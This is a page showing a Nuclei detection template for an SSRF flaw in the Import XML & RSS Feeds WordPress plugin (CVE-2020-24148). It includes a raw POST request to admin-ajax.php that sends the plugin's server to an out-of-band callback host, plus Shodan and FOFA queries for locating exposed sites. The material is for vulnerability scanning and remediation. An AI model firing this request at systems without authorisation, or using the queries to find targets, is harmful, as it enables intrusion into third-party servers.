Import XML & RSS Feeds WordPress Plugin <= 2.0.1 Server-Side Request Forgery

ID: CVE-2020-24148

Severity: critical

Author: dwisiswant0

Tags: cve,cve2020,wordpress,wp-plugin,ssrf,mooveagency

Description

WordPress plugin Import XML and RSS Feeds (import-xml-feed) plugin 2.0.1 contains a server-side request forgery (SSRF) vulnerability via the data parameter in a moove_read_xml action.

YAML Source

id: CVE-2020-24148

info:
  name: Import XML & RSS Feeds WordPress Plugin <= 2.0.1 Server-Side Request Forgery
  author: dwisiswant0
  severity: critical
  description: WordPress plugin Import XML and RSS Feeds (import-xml-feed) plugin 2.0.1 contains a server-side request forgery (SSRF) vulnerability via the data parameter in a moove_read_xml action.
  remediation: |
    Update to the latest version of the Import XML & RSS Feeds WordPress Plugin (2.0.2 or higher) to mitigate the vulnerability.
  reference:
    - https://github.com/dwisiswant0/CVE-2020-24148
    - https://wordpress.org/plugins/import-xml-feed/#developers
    - https://nvd.nist.gov/vuln/detail/CVE-2020-24148
    - https://github.com/secwx/research/blob/main/cve/CVE-2020-24148.md
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H
    cvss-score: 9.1
    cve-id: CVE-2020-24148
    cwe-id: CWE-918
    epss-score: 0.1917
    epss-percentile: 0.96258
    cpe: cpe:2.3:a:mooveagency:import_xml_and_rss_feeds:2.0.1:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: mooveagency
    product: import_xml_and_rss_feeds
    framework: wordpress
    shodan-query: http.html:"import-xml-feed"
    fofa-query: body="import-xml-feed"
  tags: cve,cve2020,wordpress,wp-plugin,ssrf,mooveagency
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/import-xml-feed/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'Import XML feed'

  - raw:
      - |
        POST /wp-admin/admin-ajax.php?action=moove_read_xml HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        type=url&data=http%3A%2F%2F{{interactsh-url}}%2F&xmlaction=preview&node=0

    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"
# digest: 4a0a00473045022100d20a80c96e7bf33bad14fc926f215ad088845f062d847489656c36689700387f02200770aea92d9c83ec8f89e7efc1fb03a5d6682709ccd5b8fa370f0f5472a3fd5f:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-24148.yaml"

View on Github